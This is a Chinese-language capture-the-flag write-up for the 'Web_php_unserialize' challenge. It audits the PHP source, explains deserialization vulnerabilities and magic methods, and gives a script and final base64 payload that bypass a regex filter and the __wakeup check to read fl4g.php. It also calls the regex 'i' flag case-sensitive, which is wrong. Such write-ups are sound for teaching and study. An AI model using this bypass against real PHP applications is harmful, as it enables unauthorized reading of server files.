攻防世界(三)Web_php_unserialize


攻防世界系列:Web_php_unserialize

 

0x01.代碼審計

 

1.類Demo中struct()destruct()函數分別在代碼執行開始和結束時調用。而wakeup函數會在代碼執行過程中自動調用。

2.對於我們傳入的參數還要被preg_math()函數過濾。

3.在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本存在wakeup的漏洞。當反序列化中object(對象)的個數和之前的個數不等時,wakeup就會被繞過

4.flag 在 fl4g.php 文件中,要想顯示該文件需要繞過

第一:

preg_match('/[oc]:\d+:/i', $var)

第二:

function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } 

 

wakeup 函數是魔術用法會在對象反序列化時自動執行

 

<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php
            $this->file = 'index.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>

 

 

補充:

1.反序列化漏洞?

php中提供兩個函數可將任意類型數據轉換成string類型,或逆過程。
Serizlaze
Unserialize
當unserialize的參數被用戶控制時,就會形成反序列化漏洞。

2.魔術函數?
magic函數,通常以“__"開頭(如__construct\__destruct\__toString\__sleep\__wakeup)
__toString當對象被以字符串輸出時調用
__sleep當對對象序列化時調用(如果存在的話),常用於提交未提交的數據
__wakeup當對對象反序列化時調用(如果存在的話),常用於重新建立數據庫連接,或執行其他初始化操作

 

0x02.參數構造

 

<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php
            $this->file = 'index.php'; } } } $A = new Demo('fl4g.php'); $C = serialize($A); //string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
    $C = str_replace('O:4', 'O:+4',$C);//繞過preg_match
    $C = str_replace(':1:', ':2:',$C);//繞過wakeup
    var_dump($C); //string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
    var_dump(base64_encode($C)); //string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="

    
?>

 

1.

我們構造腳本把字符串 fl4g.php 序列化后層層偽裝,在進行base64加密(因為源代碼中有base64解密)

字符串" fl4g.php " 序列化后為 "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"

2.

preg_match('/[oc]:\d+:/i', $var)

--- preg_match正則函數

--- \d 整形數

--- i 區分大小寫

函數想過濾 “ O:4 ”我們就偽裝成“O:+4”$C = str_replace('O:4', 'O:+4',$C);//繞過preg_match

3.

function __wakeup() {

if ($this->file != 'index.php')

{

//the secret is in the fl4g.php

$this->file = 'index.php';

}

當反序列化后的對象個數大於原來的個數時 wakeup函數就會被繞過,所以我們可以把對象個數寫成2個

$C = str_replace(':1:', ':2:',$C);//繞過wakeup

 

注意:

$file 是私有成員序列化之后字符串首尾會多出兩個空格 “%00*%00”,所以base64加密最好在代碼中執行防止復制漏掉

 

00x3.Get Flag

 

輸出運行結果:

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

 

傳參var

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM